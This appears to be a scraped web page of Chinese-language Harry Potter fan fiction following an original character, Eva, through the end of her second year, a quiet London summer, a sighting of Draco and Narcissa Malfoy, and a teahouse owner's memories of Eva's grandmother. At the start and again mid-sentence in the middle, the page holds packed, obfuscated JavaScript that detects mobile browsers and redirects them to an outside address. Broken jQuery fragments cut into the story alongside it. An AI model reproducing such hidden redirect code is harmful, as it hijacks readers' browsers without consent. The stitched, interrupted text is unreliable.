;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980676|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚了,跟我们家没关系,但部里好像还是有人拿汽车的事做文章,说我爸爸‘滥用麻瓜物品’什么的。爸爸说没关系,他能应付,但……”他没说完,只是耸了耸肩。但他语气里的担忧,以及旁边哈利和赫敏交换的凝重眼神,都说明事情没那么简单。连那两位赫奇帕奇女生也收起了笑容,露出了然和关切的神情。 哈利沉默地听着,手指无意识地摩挲着膝盖上一个破旧的巧克力蛙卡片盒。Eva看见里面露出邓布利多银白色的头发一角。他微微低着头,浓密的黑发遮住了一点前额,那道疤痕在车厢晃动的光线里若隐若现。他没有看任何人,仿佛沉浸在自己的思绪里。 “对了,Eva,”赫敏忽然转过头,棕色的眼睛透过镜片认真地看着她,巧妙地打破了因提及韦斯莱先生而略显低沉的气氛,“你暑假有什么安排?会回中国吗?” 这个问题让隔间里其他几个女孩也好奇地看了过来,连正在研究巧克力蛙画片的曼蒂也抬起了头。 “先回伦敦,”Eva说,“妈妈在那边。然后……可能去爷爷那里住一阵。” “是在乡下吗?有花园和很多动物吗?”丽莎小声问,眼神亮了一下。 “嗯,在江南,水乡,很安静,有个院子,但动物不多。”Eva轻声描述,脑海里浮现出老宅的槐树、石板路和湿润的空气,还有墙角偶尔窜过的、毛茸茸的“大老鼠”(爷爷说是“猹”,但她总觉得像放大版的鼹鼠)。 “听起来很棒。”哈利忽然开口,声音不大,但在稍微安静了一瞬的车厢里显得很清晰。他抬起头,看向Eva,绿眼睛里有一丝Eva看不懂的、近乎向往的淡淡神色,“有家人等着,有安静的地方可以去。”说完,他像是忽然意识到自己说得太多,很快地低下头,手指无意识地捻着自己袍子上一根并不存在的线头。他的语气很平淡,但熟悉他处境的几个人——罗恩、赫敏,甚至包括多少知道一些的曼蒂和帕德玛——都听出了那平淡下的潜台词。 她想起哈利要回德思礼家,那个他从不称之为“家”的地方。车厢里短暂地安静了一两秒,只有火车行进的有节奏的哐当声和远处其他隔间隐隐约约的喧哗。 随即,赫敏迅速地、几乎是有些急切地岔开了话题,开始热烈地和帕德玛讨论起麻瓜研究这门课是否真的会深入讲解内燃机,罗恩和曼蒂则重新燃起了关于“比比多味豆耳屎味vs鼻屎味哪个更恐怖”的争论,那两位赫奇帕奇女生也加入了关于今年夏天可能在哪举办魁地奇世界杯热身赛的闲聊。丽莎被赫敏和帕德玛的学术讨论吸引,小心地旁听着。热闹重新填满了小小的、拥挤的隔间,将刚才那一丝微妙的沉重驱散,仿佛那只是列车穿过一段短暂隧道时留下的阴影。 Eva靠在窗边,肩膀轻轻贴着冰凉的玻璃,看着窗外不断向后飞掠的、逐渐染上夏日浓绿的风景,耳边是朋友们熟悉或半熟悉的、交织在一起的谈笑声、争论声和零食包装的窸窣声。这种拥挤、温暖、略显混乱却生机勃勃的氛围,像一层厚厚的、柔软的毯子,将她包裹起来。让她真切地、几乎是贪婪地感觉到,那个充满了图书馆死寂、走廊冰冷阴影和地底刺骨黑暗的二年级,是真的、彻底地远去了,被留在了苏格兰高地渐行渐远的群山之后。 傍晚时分,列车缓缓驶入国王十字车站。 熟悉的喧嚣再次涌来,比霍格莫德站台更甚。麻瓜和巫师混杂,汽笛声、广播声、行李箱轮子摩擦地面的声音、还有家长们呼唤孩子名字的声音,交织成一片巨大的声浪。 Eva跟着人流下车,脚踩在伦敦熟悉的、略带潮湿的水泥站台上,有种奇异的回归感。空气里有煤烟、雨水和城市特有的尘土气息。 “丽华!这里!” 妈妈站在不远处稍空些的地方,正朝她挥手。妈妈穿着浅灰色的风衣,头发梳得一丝不苟,但眼里的急切和微微泛红的眼眶泄露了她的心情。爸爸不在身边。 Eva朝朋友们挥挥手:“暑假写信!” “一定!”曼蒂和帕德玛抱了抱她。哈利、罗恩和赫敏也在不远处被各自的家人接走,罗恩的妈妈莫丽·韦斯莱正用力地拥抱他,嘴里念叨着“瘦了瘦了”。 她拖着箱子走过去。妈妈立刻接过行李箱,一只手紧紧揽住她的肩膀,“路上累不累?饿了吗?车就在外面。”妈妈的声音有点快,带着一种Eva昏迷时她在医疗翼守候七日留下的、尚未消散的紧张。 车门关上,将站台的嘈杂隔绝在外。霍格沃茨特快列车喷出最后一股白烟,带着一车的故事和少年人的夏日憧憬,缓缓驶离。 二年级,在这一刻,画上了最后一个、带着伦敦暮色的句点。 61. 归处与余波 暑假的伦敦,和记忆里不太一样。 车子没有开往骑士桥熟悉的方向,而是穿行在伦敦傍晚渐浓的车流中,最终停在海德公园附近一处安静的排屋前。红砖墙面,白色窗棂,门前的绣球花开得正好,在暮色里团成一簇簇朦胧的蓝紫色。 “这是临时的安排,”妈妈一边拿行李,一边解释,语气带着对新环境的些许生疏,“你爸爸调去东欧后,原来的公寓不太方便了。这里离飞路网接入点和圣芒戈都近些,也安静。”她顿了顿,看了Eva一眼,目光里是尚未完全褪去的、医疗翼里留下的那种细细审视,“更方便照顾你。” Eva点点头,跟着妈妈走进门。屋子不大,装修简洁,透着临时住所特有的、缺乏生活痕迹的气息。不过,熟悉的真皮沙发和爷爷那幅烟雨蒙蒙的山水画被搬了过来,摆在客厅显眼位置,像两枚从旧生活里抢救出来的锚,带来一丝微弱的安定感。空气里有新家具淡淡的木头和油漆味,也有妈妈试图用栀子花香薰掩盖的努力,混合成一种既陌生又试图熟悉的气味。 晚餐只有她们两人。张妈炖的鸡汤在炉子上温着,撇去了浮油,汤色清亮。几样清淡的小菜摆上桌:清炒豆苗,凉拌黄瓜,还有一小碟妈妈自己腌的脆萝卜。妈妈显得比平时话多,不停地问着霍格沃茨最后几周的琐事,语气轻快,却像在小心翼翼地绕过一个看不见的坑洞:“天气怎么样?最后几天还冷吗?”“朋友们暑假都有什么计划?那个印度女孩,帕德玛,她要回家吗?”“收拾行李顺不顺利?课本都带齐了吧?”…… 她小心地避开了所有可能触及核心的话题——学院杯、加分、奖杯、昏迷、密室——但Eva能清晰地感觉到妈妈目光中那细细的、持续的审视。那是在病床前守了太久留下的习惯,仿佛在反复确认她是否真的完好地坐在这里,能自己拿筷子,能喝汤,能回答这些无关紧要的问题,脸颊是否有了血色,眼神是否清明。 直到收拾完餐桌,妈妈泡了一壶安神的洋甘菊茶,两人坐在小客厅的沙发上,窗外是伦敦夏夜渐深的墨蓝色,远处隐约传来城市的低鸣,妈妈才轻轻握住了Eva放在膝上的手。 “丽华,”妈妈的声音很轻,却有些不易察觉的颤音,像绷紧的琴弦被极轻地拨动,“你爸爸的工作……暂时回不来。但他每天都会通过双面镜问你的情况。”她握紧了Eva的手,指尖微凉,带着常年伏案工作和近期焦虑留下的薄茧,“他很担心。我们……都很担心。” Eva回握住妈妈的手,掌心能感觉到妈妈指节的用力。她没说话,只是安静地听着。 “邓布利多校长,还有麦格教授,在你昏迷和后来恢复的时候,跟我,你爸爸,还有你爷爷,谈过很多次。”妈妈继续说着,语气努力维持平稳,但眼圈还是慢慢红了,在客厅柔和的灯光下泛着水光,“关于发生了什么,关于你做了什么……庞弗雷夫人和你爷爷,都很严肃地告诉了我们你身体的真实状况。‘本源透支’……这个词,我这辈子都不想再听第二遍。” 她吸了口气,那气息有些不稳,目光落在Eva脸上,里面充满了后怕、骄傲,以及一种深重的、无法完全用语言形容的忧虑:“我们看到学院沙漏里加了一百分,听到拉文克沃赢了学院杯……妈妈为你骄傲,真的。你爷爷也说,危急关头,心念至纯,是你的本能,也是……你天生带着的东西。但是,丽华,” 妈妈的声音更加低沉,带着不容置疑的坚决,那是母亲目睹孩子濒临险境后筑起的、最坚硬的防线:“看着你一动不动躺了七天,那种感觉……我不能再经历一次了。你还太小。有些责任,有些危险,不该由你这个年纪去扛,也不该用耗干自己的方式去应对。” 这不是责备,而是基于最残酷现实——女儿昏迷七日、根基受损——所产生的、最本能的保护欲,混合着外交官家庭对“稳妥”和“避免卷入是非”的深刻认知。 “这个暑假,我们哪里也不去。”妈妈的语气恢复了平时的清晰,那是做了决定后的镇定,“我请了长假,就在这里陪你。你需要的是绝对的安静和休养。张妈会负责三餐和打扫,我哪儿也不去。八月份,看你恢复得怎么样,如果爷爷觉得合适,我送你去江南住一段时间。你爷爷有很重要的话要当面跟你说,关于……怎么认识你身上的特殊,怎么用它,更要知道怎么保护自己不被它伤着。这不是要你学更多,恰恰是要你学会……‘止’。” Eva安静地听着。她能想象妈妈守在病床前,看着自己毫无生气的样子,日复一日;能理解爸爸在遥远东欧,通过双面镜只能看到女儿苍白睡颜时的焦灼;更能体会这番话背后沉甸甸的分量——那是一个家庭在惊吓过后,试图用最谨慎的方式将她重新护回羽翼下的决心。她想起洞穴里力量被抽空的虚脱,想起醒来后长时间的乏力,想起爷爷信中“根脉难速”的告诫。她点了点头,声音平静:“我明白,妈妈。我会好好休息。” 那晚,躺在陌生房间(但床单和被褥是从旧居带来的,有着熟悉的气息)的床上,Eva望着天花板上陌生的、带有维多利亚时期风格的石膏纹路。爸爸不在,家是临时的,连谈话的对象也从可能更严肃分析局势的父亲,换成了心有余悸、更关注她身体本身的母亲。但这份沉重的、基于亲眼所见的关爱和后怕,比任何固定的居所都更让她清晰地感到:那个充满了意外、黑暗与极限的二年级,是真的、彻底地结束了。它留下了一些闪亮的徽记,更多的则是需要时间缓缓修复的、看不见的痕迹,以及家人更加周密、甚至有些小心翼翼的守护。 窗外的伦敦依旧在低沉地嗡鸣,但在这栋临时的、小小的屋子里,一种专注于“恢复”与“平静”的夏日,正在无声地铺展开。未来或许仍有风雨,但此刻,她只需要呼吸,睡觉,让被过度消耗的身心,在母亲的目光和家的庇护下,一点点重新长出力量。 她翻了个身,把脸埋进带着阳光气味的枕头里。腕上的玉佩温温地贴着皮肤,像一句无声的、古老的守护,陪她沉入夏夜无梦的安眠。 接下来的几天,日子以一种缓慢得近乎凝滞的节奏铺开。妈妈每天早上去大使馆,傍晚回来,手里总是拎着个鼓鼓囊囊的文件袋。Eva大部分时间待在家里,坐在小阳台的旧藤椅上,膝盖上摊着从使馆图书室借来的中文小说,目光却常常望着远处公园的树顶发呆。 身体的恢复比想象中更慢。力气一点点回来,走路不再发虚,但那种深层的疲惫感,像浸透了水的棉花,沉甸甸地坠在骨骼深处。庞弗雷夫人的药水早就喝完了,妈妈按照指示,每天给她炖些温和的汤水,西洋参、枸杞、红枣,味道清淡,带着草药的微甘。 “你爷爷来信了。”七月初的一天,妈妈提早回家,手里拿着一个浅蓝色的信封,嘴角带着这些天来第一个真正的笑容。 信封里是爷爷手写的信,用的是洒金宣纸,毛笔字工整有力: “丽华:知你归家,需静养温补。江南暑热湿重,此时长途跋涉,易耗散初聚之气,于恢复不利。不如暂居伦敦静处,饮食清淡,早卧早起,待秋凉气爽,根基稍固,再来不迟。老宅荷花已开,莲蓬渐成,替你留看。勿念。祖父字” 信末附着一张普通的麻瓜彩照:老宅的院子里,那方小池塘里荷叶田田,几朵粉白的荷花正绽开,花瓣上还带着晨露。照片一角,槐树的影子投在水面上。 Eva看着照片,心里那片因为远离家乡而时常空落的地方,被填满了一些,但同时又升起一丝淡淡的失望。不能回去。 妈妈似乎看出了她的情绪,轻轻揽住她的肩膀。“爷爷说得对,”她柔声说,“你现在最需要的是静养,不能折腾。从伦敦飞到上海,再转车转船,太耗神了。等秋天,等你再好些,我们一定回去看爷爷,好吗?” “嗯。”Eva点点头。爷爷的话总是有道理的。他说此时不宜奔波,那就不去。只是看着照片里熟悉的荷花与槐影,那份属于老宅的、沉静的安宁,仿佛隔着一层毛玻璃,看得见,却触不到。 她把照片小心地夹进常看的一本书里。 既然去不了江南,暑假便真的要在伦敦度过了。日子更加规律,也更加寂静。她开始给朋友们写信。 给曼蒂和帕德玛的信内容差不多:伦敦的天气,新住处,身体在慢慢恢复。她没提爸爸在东欧的事。 给哈利的信写得最慢。羽毛笔在羊皮纸上悬了很久,最后只写了三行: “哈利:暑假我会一直在伦敦,不回国。一切尚好,在静养。祝你假期愉快。Eva” 她想起火车上他那句“有家人等着,有安静的地方可以去”,但最终没有多问。有些事,问出口可能反而让双方都尴尬。 信寄出后,她等了一阵子。回信是海德薇送来的。羊皮纸上的字迹有些潦草: “Eva:很高兴收到你的信。我在女贞路,一切都老样子。德思礼一家没把我关碗柜,也没饿着我,这大概算进步。达力还是躲着我走,这样挺好。弗农姨父让我干很多活儿,但至少我能待在房间里看书(如果他没发现我看的是什么书的话)。罗恩写信说邀请我去他家住几周,大概在八月份。赫敏说她父母要带她去法国徒步。你呢?希望你真的在好好恢复,别像赫敏那样总想着提前预习三年级的功课(虽然她可能已经开始了)。保持联系。哈利” 信的最后,他用更小的字加了一句:“P.S. 如果觉得太闷,可以给我写信,我回信很快。” Eva看着那句附言,手指抚过羊皮纸粗糙的边缘。她提笔回信,写伦敦总是阴阴的,但不太热,适合休息;写阳台视野还好,能看见公园的树;写自己每天就是看书、休息,让身体慢慢来。写到一半,她停下笔,想了想,终究没提爷爷信里说的、关于此时不宜远行回江南的原因。那太复杂了,也涉及爷爷那些关于“气”与“根基”的判断,不是几句话能说清的。 她收起笔,想到哈利要在女贞路度过大部分夏天,而自己虽然去不了江南,但至少有妈妈和这个临时的家。这种对比让她心里有些细微的、说不清的滋味。 她把信折好,系在海德薇腿上。雪白的猫头鹰用喙轻轻碰了碰她的手指,然后展开翅膀,滑入伦敦灰蒙蒙的天空。 七月的日子缓慢流逝。身体的感觉时好时坏。有些天,她觉得精神好些,能看完一整章书而不觉得累;有些天,那种深层的疲惫又会毫无预兆地涌上来,让她只想躺在椅子上,看着天空云卷云舒。 妈妈开始计划采购三年级的东西。“庞弗雷夫人说过,你需要彻底恢复后才能进行剧烈活动或耗费心神的学习,但一些基本的准备可以慢慢做起来。”一天晚饭时,妈妈说,“八月中旬之前,我们把该买的东西买齐,然后你就专心休息,等到开学。” 于是,七月中旬一个相对晴朗的上午,妈妈陪Eva去了对角巷。破釜酒吧还是老样子。穿过拱墙,夏日阳光下的对角巷比记忆中更加熙熙攘攘,空气中充满了各种魔法商品的气味和嘈杂的人声。 她们先去摩金夫人长袍店。Eva需要新的校袍——去年的虽然还能穿,但妈妈坚持要买件合身的新袍子。“你在长身体,”妈妈说,“而且去年的袍子……经历太多了。”Eva知道妈妈指的是那些沾染过密室泥污、被魔咒擦破又被细心修补的地方。 在量尺寸时,她透过店铺的橱窗,无意间瞥见街对面的景象。一家专卖珍稀魔法材料和高档文具的店铺门口,站着两个人。 其中一个是德拉科·马尔福,穿着一身剪裁极为合体的浅灰色夏季长袍,面料在阳光下泛着柔滑的光泽。但他此刻的姿态,与Eva在学校里常见的那种刻意挺直、带着傲慢的模样有些不同。他微微低着头,淡金色的头发垂下来遮住了一点前额,侧脸上没什么表情,但嘴唇抿得有些紧,整个人显得……有点僵硬。 站在他对面的是一位女巫。她身材高挑纤瘦,穿着墨绿色、款式典雅而保守的长袍,一头梳理得一丝不苟的淡金色长发在脑后挽成精致的发髻。她的面容苍白而美丽,却带着一种大理石雕塑般的冰冷与疏离,灰蓝色的眼睛——和德拉科如出一辙的颜色——正平静地注视着儿子,嘴唇微动,似乎在低声说着什么。她的手指间正拿着一卷羊皮纸清单,另一只戴着精致手套的手,看似随意地搭在德拉科的手臂上。那动作姿态优雅,却带着一种不容置疑的、掌控般的意味。 是他的妈妈,纳西莎·马尔福。 Eva记得在《预言家日报》上偶尔瞥见的、关于马尔福家族报道中模糊的配图。此刻近距离(尽管隔着一条街)看到,这位马尔福夫人身上散发出的那种冷冽而高傲的气息,比她想象中更加鲜明。 德拉科似乎简短地回答了一句什么,纳西莎夫人几不可察地点了点头,目光并未离开儿子,又说了句什么。然后,德拉科抬起了头。那一瞬间,他的目光似乎无意识地扫过了街面,恰好与橱窗内正在量尺寸的Eva对上了。 时间仿佛凝滞了极其短暂的一瞬。 德拉科的灰蓝色眼睛猛地睁大了一点点,瞳孔似乎收缩了一下。他脸上那种面对母亲时的紧绷与僵硬,被一种猝不及防的错愕所取代,甚至隐隐有一丝来不及掩饰的狼狈。那表情复杂极了——有被熟人撞见自己此刻略显被动模样的难堪,或许还有一丝因家族近期境况而变得更加敏感的自尊心受挫感,以及……Eva无法解读的、更深的东西。 然而,这失态只持续了不到半秒。几乎是在视线接触的下一刹那,德拉科的下颌线骤然绷紧,脸上所有多余的情绪像被一只无形的手瞬间抹去,恢复成一种近乎空白、却又刻意显得疏离的漠然。他极其迅速地、几乎是有些生硬地转开了目光,重新看向自己的母亲,嘴唇动了动,仿佛在继续刚才被打断的对话。 纳西莎夫人敏锐地察觉到了儿子那一瞬间的细微变化。她并未立刻顺着德拉科刚才的目光看过来,而是先微微侧头,用一种平静却充满审视意味的眼神,极快地瞥了儿子一眼,仿佛在评估他这瞬间失态的原因与分量。然后,她才顺着德拉科目光移开前的方向,看似不经意地、姿态优雅地转过头,视线隔着街道,落在了摩金夫人长袍店的橱窗上,落在了Eva身上。 那目光很平静,没有明显的情绪,却像两道冰冷的探针,带着纯血古老家族特有的、居高临下的评估意味。她在Eva脸上停留了大约两秒——足够看清她的东方特征,她正在进行的寻常采购,以及她身边那位衣着得体、气质干练的麻瓜(或者说,在马尔福夫人眼中可能如此)母亲。没有好奇,没有敌意,甚至没有兴趣,只是一种彻底的、将对方置于某种社会坐标体系中进行衡量的冷淡审视。 随即,纳西莎夫人便收回了目光,仿佛只是确认了一件无关紧要的小事。她重新看向德拉科,用那种清晰而冷淡的语调说了句什么,然后率先转身,步履从容而坚定地朝着翻倒巷入口的方向走去。德拉科在原地顿了一瞬,目光再未朝长袍店方向偏移半分,他挺直了背脊(那挺直里带着一种刻意为之的僵硬),迈步跟上了母亲。 两人一前一后,保持着一段微妙而恰当的距离,很快消失在对角巷主街那阴暗的岔路口。 Eva收回了目光。自动皮尺正在测量她的臂长,凉凉的触感环绕着手肘。心里并没有什么特别的波澜,只是刚才那短暂交汇中,让她对德拉科·马尔福这个人,以及他所处的那个世界,有了一种比以往任何时候都更具体、更冰冷的认知。那不仅仅是一个在学校里傲慢讨人厌的同学,那是一个被严密包裹在古老家族规范、沉重期望和近期阴霾中的少年,他的一举一动,甚至一瞬间的眼神,都可能被身旁那道冰冷的目光所度量、所评判。 买完长袍,她们去药店补充基础魔药材料,去文具店买了新的羊皮纸和墨水(她没再买那种特殊的羽毛笔保养墨水,之前的匿名礼物那瓶还没用完)。妈妈还坚持给她买了一支新的、更顺滑的羽毛笔。“三年级作业会更多,需要好用的笔。” 走出店铺时,阳光正烈。妈妈看了看略显疲惫的Eva,又望了望街上喧闹的人流,略一思忖道:“走了不少路,找个地方歇歇脚吧。” 她指的是一家店面不大、却别具一格的店铺。它夹在“蹦跳嬉闹魔法笑话商店”和一家售卖闪烁不定的占卜水晶球的店铺之间,门脸是深色的木头,悬着一块朴素的木匾,上面用中英双语刻着“静心茶舍”,汉字是端正的楷书,英文是流畅的花体。橱窗里没有飞舞的商品或闪烁的灯光,只静静陈列着几套素雅的青花瓷茶具、一些装在玻璃罐里色泽各异的茶叶、干花,以及一两卷摊开的、绘着山水或梅兰竹菊的绢布画。在这片光怪陆离的魔法商业街上,它像一处沉静的留白。 母女俩惊讶对角巷竟然有中式茶馆,同时也感到好奇。 推开厚重的木门,一股熟悉的、清冽的香气扑面而来——那是上好的茶叶、干燥的草药、或许还有一点点陈年木器和纸张混合的味道,与对角巷惯有的甜腻、皮革或魔药气味截然不同。店里光线柔和,几盏造型古朴的黄铜灯洒下温暖的光晕。墙上挂着几幅水墨画,墙角的多宝格里摆放着一些东方风格的小物件:玉雕的瑞兽,陶制的茶宠,紫砂的小壶。只有墙上一个不起眼的角落里,挂着一个不会动的、镶嵌在普通相框里的老旧黑白照片,照片里是几个穿着旧式长袍的年轻巫师,背景似乎是霍格沃茨的场地,但影像已经有些模糊了。 茶馆里只有两三个客人,看起来都是年长些的巫师,安静地品茶或阅读。柜台后,一位梳着整齐发髻的中年妇人正低头用一把小银秤仔细地称量茶叶。她穿着暗紫色、滚着深蓝色边的中式立领上衣,外面罩着件素色的围裙,动作从容不迫。听到门铃声,她抬起头。 那是一张有着明显东方特征的面孔,眼神清亮而温和。她的目光先落在妈妈身上,随即移向Eva,当看清Eva的面容时,那双眼睛似乎极细微地闪烁了一下,像是湖面被投入了一颗极小的石子,涟漪转瞬即逝,快得让人以为是错觉。 “欢迎光临。”她开口,英语很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980677|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流利,带着一种老派英国上流社会的清晰口音,但尾音里仍能听出一丝难以磨灭的、柔软的东方腔调。她放下手中的银秤,从柜台后绕了出来。 “请这边坐。”她引着她们到一处靠窗、较为僻静的雅座。座位是硬木的椅子,铺着靛蓝染的棉布坐垫,触感舒适。 “两位想用点什么茶?”老板娘问,声音不高,像怕惊扰了店里的宁静。 妈妈要了一壶菊花枸杞茶,并解释道女儿病后需要温和调理。老板娘点点头,目光又一次落在Eva脸上,这次停留的时间稍长了些,带着一种温和的审视。“菊花清肝明目,枸杞平补肝肾,选得妥当。小姑娘脸色是有些气血未足,但根基看着是稳的,静养便好。”她说话的语气自然而然,带着长者特有的笃定和关切,仿佛这判断理所当然。 她转身去备茶,动作娴熟优雅。等待的间隙,妈妈环顾四周,低声道:“没想到对角巷还有这样一家店,布置得很雅致,有家乡的味道。” 片刻,老板娘端着一个黑漆托盘回来。托盘上是一把白瓷提梁壶,两只同款的品茗杯,还有一小碟颜色温润的桂花米糕。“茶要现沸的水,稍等片刻口感最佳。这点心是自己做的,不甜腻,配茶正好。”她将茶具轻轻放下,却没有立刻离开,而是站在桌旁,目光温和地看向Eva,语气里带着一种家常式的、确认般的探询: “两位看着有些面善。是……中国人?” Eva和妈妈都点了点头。妈妈回答道:“是的,我们是从中国来的。” 老板娘脸上露出了然的、混合着更深感慨与追忆的微笑,仿佛这个问题打开了一扇通往过去的门。“果然。我刚才瞧着,就觉得这孩子的眉眼轮廓,尤其这沉静的气度,让我想起一位故人。”她顿了顿,声音更轻缓了些,仿佛在叙述一个珍藏已久的秘密,“那位夫人,姓林。” 林。是祖母的姓氏。Eva的心轻轻一跳。 老板娘似乎从她们细微的反应中得到了进一步的确认,眼神更加温暖而复杂。她的目光投向墙上那个不起眼的角落,那里挂着一个老旧的黑白相框。 “那是很多年前了,我还是个小姑娘,跟着父母从香港来到英国不久,中文都快忘光了。大概……1936年?或者37年?我父亲当时在伦敦做些小生意,也替一些……有特殊需求的客人,安排些不那么引人注目的住宿和联络。” 她示意那张照片——几个穿着旧式长袍的年轻巫师,背景似乎是霍格沃茨的场地。 “那时候局势已经有点紧张了,但大战还没真正爆发。那位林夫人随一个东方的文化商贸代表团来访,但私下里,我父亲受托为她提供一些便利。她气质非常特别,话不多,但眼神清亮有神,看东西好像能看透似的。她对我这个快要忘掉自己根在哪里的小姑娘很和气,教了我几句家乡话,告诉我茶叶该怎么品,不只是喝味道。临别前,还留给我一枚小小的、雕着竹叶的玉扣当纪念,说‘见玉如见故乡’。”老板娘轻轻抚过自己衣襟上一枚不起眼的翠玉扣子,那竹叶纹路已经磨得有些光滑了。 她收回目光,重新看向Eva,眼神温暖而动容:“战争爆发后,一切联系都断了。那枚玉扣和关于林夫人的记忆,就成了我童年里关于‘故乡’和‘有本事的人’最具体的念想。后来听说,当年一些来自东方、有本事的修行者,为了对抗那场席卷世界的灾难,付出了很大牺牲……那位林夫人,好像就在其中。” 她顿了顿,看着Eva,那目光仿佛穿越了时光,“我只是个随着时代漂流的普通人,在霍格沃茨读了书,嫁了人,守着这间小店,卖点家乡的茶叶。没见过太大的风浪,也没做过什么惊天动地的事。但那位只有几面之缘的林夫人,却让我一直记得。今天看到你,这感觉忽然又回来了。看来,有些东西,血脉里是带着的。” 她微微颔首,不再多言,轻轻退开,将空间留给她们母女。 茶壶中的热水已经将菊花和枸杞的精华慢慢浸出,清雅的香气袅袅上升。Eva端起温热的茶杯,指尖能感受到瓷器的润泽。她小口啜饮,菊花的微甘与枸杞的甜润在舌尖化开,暖流直达肺腑。然而,比茶更让她心绪微澜的,是老板娘那番话。 祖母。姓林。战死的祖母。她从未见过,只知道一个光辉而悲壮的轮廓。如今,在距离故乡万里之遥的对角巷,从一个同样远离故土的人口中,她听到了关于祖母的一个无比平凡的侧面——一个随团来访、气质特别、会教迷失的小姑娘品茶说家乡话的温和夫人。这个平凡甚至有点温情的侧面,与那“入世参战”、“不幸罹难”的壮烈结局之间,存在着一种令人心悸的落差,却也让那个遥远的形象陡然真实、鲜活、沉重了起来。 原来祖母也曾踏上这片土地,在战云密布前的短暂宁静里,留下过这样细腻的痕迹。而她最后的选择,让这痕迹有了截然不同的重量。 妈妈也沉默地喝着茶,眼神中有震动,也有深沉的哀思,那哀思似乎比Eva的更为复杂、更为切近。她握着茶杯的手指微微收紧,指节有些泛白。过了好一会儿,她才低声开口,声音比平时更加沙哑,仿佛这些话从心底很深处被勾了出来: “你奶奶的事……我知道的也很少。我嫁给你爸爸的时候,她已经不在了很多年。你爸爸也很少提起她的事,只说她是英雄,死得其所。”妈妈的目光落在杯中晃动的淡黄色茶汤上,眼神有些飘远,“但我自己的父母……你的外公外婆,也是在那场战争里去世的。” 她顿了顿,声音更轻了:“我那时太小,几乎没有记忆。只模糊记得家里总是很安静,父母经常不在,我被寄养在组织的保育院里。后来……就再也没见过他们。他们好像也是……和你祖母类似的人。有理想,有信念,然后……就再也没回来。我是被组织上养大的,‘烈士遗孤’。” 她顿了顿,抬起眼看向Eva,眼神里有Eva从未见过的、极其复杂难言的情绪——那里面有深藏的伤痛,有对命运无常的茫然,还有一种沉重的、近乎执念的期盼。“所以,丽华,”妈妈的声音很轻,却每个字都像敲在Eva心上,“你知道为什么我和你爸爸,尤其是你爸爸,总是那么谨慎,总是强调‘稳’字当头,不想你卷进任何不必要的麻烦里吗?” Eva看着妈妈的眼睛,忽然明白了许多以前似懂非懂的话。爸爸那句沉甸甸的“记住你是谁”,不仅仅是要她不忘本源,或许更是在提醒她,这个“谁”的背后,是两代人被战争撕裂的家庭,是未尽的理想与牺牲,是幸存者必须背负的、小心翼翼活下去的责任。他们将她送到霍格沃茨,是出于外交的考量,是象征,但更深层的,或许是一种矛盾的心情——既希望她能见识更广阔的世界,又无比恐惧那世界里的黑暗漩涡会再次吞噬他们仅存的血脉。 “我们失去了太多,”妈妈最终只是这样说,伸手轻轻握住了Eva放在桌上的手,掌心微凉,“只希望你平平安安的。” Eva反手握住了妈妈的手。茶馆里安静依旧,只有隐约的茶香和远处细微的谈话声。但这个安静的角落,此刻却充满了无声的历史回响与深沉的情感重量。祖母的形象,外公外婆完全空白的影子,父母沉默背后的伤痕,还有她自己——这个在和平年代成长、却依然被过往阴影轻轻笼罩的第三代——所有的线,在这一刻,因为一位异国茶馆老板娘偶然的回忆,被清晰地连接在了一起。 她们没有在茶馆久坐,喝完一壶茶,品尝了那碟清香软糯的桂花糕(老板娘坚决不肯收点心钱,只说“故人之后,一点心意”),便起身告辞。离开时,老板娘送到门口,对Eva轻轻说了句:“好好养着,小姑娘。路还长,但根扎稳了,就什么都不怕。” 走出“静心茶舍”,午后的阳光依旧有些晃眼,但对角巷的喧嚣似乎被隔开了一层。Eva感觉精神似乎比刚才好了一些,不仅仅是因为那壶温补的茶,更因为心中某些一直模糊的拼图,忽然被拼上了关键的一块。这感觉并不轻松,那清晰的图案反而让她更真切地感受到了肩头无声的重量。她明白了父母某些过度保护的根源,也似乎更明白了爷爷那种超然中带着深深疲惫的沧桑从何而来。 接下来的采购计划还有几项,但妈妈看出她心绪的剧烈起伏和依旧未完全褪去的倦色,便说:“剩下的不急,过两天再来也一样。今天先回去休息。” 于是她们便直接回了家。接下来几周,采购任务零星而平缓地进行着,大部分时间,Eva依然在静养。然而,“静心茶舍”那个短暂的午后,像一枚小小的、却带着历史分量的石子,投入她这个夏天平静如深潭的生活中,漾开的涟漪远比看上去要深广。它连接了过去与现在、东方与西方、牺牲与幸存、沉默与诉说。她更具体地感知到,自己所行走的每一步,都踩在由前人鲜血、泪水与期望铺就的、既坚实又令人小心翼翼的道路上。 这一切静默却深刻的体悟,都将随着秋日来临,伴随她一起,回到霍格沃茨那片等待着她的、更加广阔也注定更加不平静的天地中去。 62. 夜色中的狗吠 八月的伦敦,天气像一块浸了水的厚羊毛毯,沉甸甸地压在屋顶和皮肤上。早晨醒来,窗玻璃外侧总凝着一层细密的水珠,分不清是雾气还是昨夜的露。远处海德公园的树冠在灰白的天光里,绿得有些发暗。 